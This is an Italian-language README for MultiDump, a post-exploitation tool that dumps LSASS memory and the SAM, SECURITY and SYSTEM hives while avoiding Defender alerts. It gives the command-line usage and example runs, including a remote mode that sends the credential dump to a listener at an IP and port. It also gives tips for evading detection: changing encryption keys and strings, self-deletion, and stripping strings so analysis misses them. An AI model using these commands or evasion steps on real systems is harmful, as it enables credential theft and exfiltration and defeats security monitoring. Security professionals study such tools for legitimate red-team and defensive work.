
MultiDump è uno strumento post-sfruttamento per scaricare ed estrarre la memoria LSASS in modo discreto.
MultiDump è uno strumento post-sfruttamento scritto in C per dumpare ed estrarre la memoria LSASS in modo discreto, senza attivare gli avvisi di Defender, con un handler scritto in Python.

Post del blog: https://xreous.io/posts/multidump
MultiDump supporta il dump di LSASS tramite ProcDump.exe o comsvc.dll, offre due modalità: una modalità locale che crittografa e salva il file dump localmente, e una modalità remota che invia il dump a un handler per la decifratura e l'analisi.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
Come per tutti gli strumenti correlati a LSASS, sono richiesti privilegi di Amministratore/SeDebugPrivilege.
L'handler dipende da Pypykatz per analizzare il dump LSASS e da impacket per analizzare i salvataggi del registro. Dovrebbero essere installati nel vostro ambiente. Se vedete l'errore All detection methods failed, è probabile che la versione di Pypykatz sia obsoleta.
Per impostazione predefinita, MultiDump utilizza il metodo Comsvc.dll e salva il dump crittografato nella directory corrente.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
Se si usa --procdump, ProcDump.exe verrà scritto su disco per dumpare LSASS.
In cmd, --procdump deve essere usato, altrimenti fallirà per #5, si consiglia di usare sempre PowerShell se possibile.
In modalità remota, MultiDump si connette al listener dell'handler.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
La chiave è crittografata con l'IP e la porta dell'handler. Quando MultiDump si connette attraverso un proxy, l'handler dovrebbe usare l'opzione --override-ip per specificare manualmente l'indirizzo IP per la generazione della chiave in modalità remota, assicurando che la decifratura funzioni correttamente abbinando l'IP di decifratura con l'IP previsto impostato in MultiDump -r.
Un'opzione aggiuntiva per dumpare gli hive SAM, SECURITY e SYSTEM è disponibile con --reg, il processo di decifratura è lo stesso dei dump LSASS. Questa è più una funzionalità di comodità per facilitare la raccolta di informazioni post-sfruttamento.
Aprire in Visual Studio, compilare in modalità Release.
Si consiglia di personalizzare il binario prima della compilazione, ad esempio modificando le stringhe statiche o la chiave RC4 utilizzata per crittografarle; a tale scopo, è incluso un altro progetto di Visual Studio, EncryptionHelper. Basta cambiare la chiave o le stringhe e l'output del EncryptionHelper.exe compilato può essere incollato in MultiDump.c e Common.h.
L'auto-eliminazione può essere attivata decommentando la seguente riga in Common.h:
#define SELF_DELETION
Per eludere ulteriormente l'analisi delle stringhe, la maggior parte dei messaggi di output può essere esclusa dalla compilazione commentando la seguente riga in Debug.h:
//#define DEBUG
MultiDump potrebbe essere rilevato su Windows 10 22H2 (19045) (in un certo senso), e ho implementato una soluzione per questo (in un certo senso), l'indagine e l'implementazione meritano un post sul blog a parte: https://xre0us.io/posts/saving-lsass-from-defender/